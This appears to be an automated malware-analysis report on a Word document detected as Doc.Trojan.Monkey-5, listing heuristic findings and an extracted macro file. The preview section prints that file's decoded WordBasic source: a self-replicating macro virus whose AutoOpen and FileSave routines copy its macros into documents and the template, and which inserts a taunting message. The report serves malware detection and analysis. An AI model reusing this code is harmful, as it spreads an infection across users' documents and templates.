MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a malicious Office document containing legacy WordBasic macros. The AutoOpen macro is designed to execute automatically when the document is opened. It attempts to copy itself and other macros, and inserts a string indicating a compromise, suggesting an attempt to establish persistence or further compromise the system. The ClamAV detection further confirms its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Monkey-5 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Monkey-5
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1720 bytes |
SHA-256: 25c309cdbb239c3b812de4b3d50aed21797721696b8df384a4ff8808f54a0289 |
|||
|
Detection
ClamAV:
Doc.Trojan.Monkey-5
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "FileSave"
Public Sub MAIN()
Attribute MAIN.VB_Description = "保存活动文档或模板"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSave.MAIN"
WordBasic.FileSave
WordBasic.FileSaveAs Name:=WordBasic.[FileName$](), Format:=1
WordBasic.MacroCopy "AutoNew", WordBasic.[FileName$]() + ":AutoNew"
WordBasic.MacroCopy "FileSave", WordBasic.[FileName$]() + ":FileSave"
WordBasic.MacroCopy "AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "AutoSave", WordBasic.[FileName$]() + ":AutoSave"
End Sub
Attribute VB_Name = "AutoSave"
Public Sub MAIN()
WordBasic.SetDocumentVar "Saved", "Ok"
End Sub
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
If WordBasic.[MacroFileName$]("AutoOpen") = WordBasic.[FileName$]() _
And WordBasic.[MacroFileName$]("FileSave") = WordBasic.[FileName$]() _
And WordBasic.[MacroFileName$]("AutoNew") = WordBasic.[FileName$]() _
And WordBasic.[MacroFileName$]("AutoSave") = WordBasic.[FileName$]() _
Then
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "AutoOpen"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":FileSave", "FileSave"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoNew", "AutoNew"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoSave", "AutoSave"
End If
End Sub
Attribute VB_Name = "AutoNew"
Public Sub MAIN()
WordBasic.Insert " A monkey has controlled your Word!!!"
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.